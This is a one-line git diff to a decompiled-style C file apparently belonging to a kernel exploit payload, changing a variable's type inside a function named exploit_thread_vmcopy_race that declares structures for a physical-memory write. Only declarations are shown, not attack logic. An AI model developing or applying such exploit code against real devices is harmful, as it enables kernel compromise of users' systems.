diff --git a/src/payload_377bed/entry1_type0x09_iogpu_physmap_engine.inc b/src/payload_377bed/entry1_type0x09_iogpu_physmap_engine.inc
index 1caae90..cab98f4 100644
--- a/src/payload_377bed/entry1_type0x09_iogpu_physmap_engine.inc
+++ b/src/payload_377bed/entry1_type0x09_iogpu_physmap_engine.inc
@@ -8488,7 +8488,7 @@ __int64 __fastcall exploit_thread_vmcopy_race(__int64 someStruct)
   thread_act_t stateThread = 0;
   semaphore_t readySemaphore = 0;
   semaphore_t resumeSemaphore = 0;
-  int pageShift = 0;
+  uint32_t pageShift = 0;
   natural_t suspendedThreadState[0x44]; // BYREF
   VmcopyWritePhysmapBlock writePhysmapBlock; // BYREF
   integer_t policyInfo[4]; // BYREF